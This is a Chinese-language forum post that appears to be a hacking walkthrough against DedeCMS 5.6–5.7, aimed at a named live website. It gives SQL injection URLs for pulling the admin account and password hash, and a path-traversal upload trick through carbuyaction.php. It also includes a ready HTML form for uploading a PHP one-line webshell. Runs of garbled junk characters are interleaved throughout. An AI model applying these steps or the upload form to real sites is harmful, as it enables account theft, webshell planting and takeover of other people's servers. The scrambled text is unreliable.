dedecms5.6-5.7注入与上传漏洞利用

admin

①注入漏洞。
  W, Y' Z1 \8 X# J  W这站 http://www.political-security.com/
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
( i# U' v2 K) `6 Lwww.political-security.com/data/mysql_error_trace.inc 爆后台
! l3 \# `) e9 j& r2 T9 x1 G然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
. b! N2 v' q5 m' B# \然后写上语句
9 B5 F9 J9 ^: {- F4 K( M6 m查看管理员帐号
http://www.political-security.co ... &membergroup=@`

9 Q3 Y5 ~1 K& [  B: W9 L, n! ladmin

查看管理员密码
9 Q& t; F9 J) i  l3 h1 y　http://www.political-security.co ... &membergroup=@`

8d29b1ef9f8c5a5af429

+ l9 j3 m4 T! t: B3 E9 n1 D$ E查看管理员密码
$ }, e/ d: M7 a, ?; `: S
( q, I0 O6 h4 @$ f; @得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5

) e; ~9 x2 h+ \* [9 A3 E. b3 H* c8d2
) a& S0 _! Y- M& z% r9b1ef9f8c5a5af42
9

! f& T1 D; z7 dcmd5没解出来 只好测试第二个方法


- a5 i  L! I% |) A' g9 X②上传漏洞：

# z3 r$ ]3 w" y6 N5 @  B  c' h% X只要登陆会员中心，然后访问页面链接
, p; x, ]4 [4 J: H“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
3 Q- n. S: Q& g8 n; ?- w* W8 {9 t
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
* C: Q! d% u) U4 n) u" }
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
' c; x9 X6 u; G& q$ K: \4 |& ?8 W: a
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
或者
2 U1 x( M% P$ D) ?! P7 G2 l即可上传成功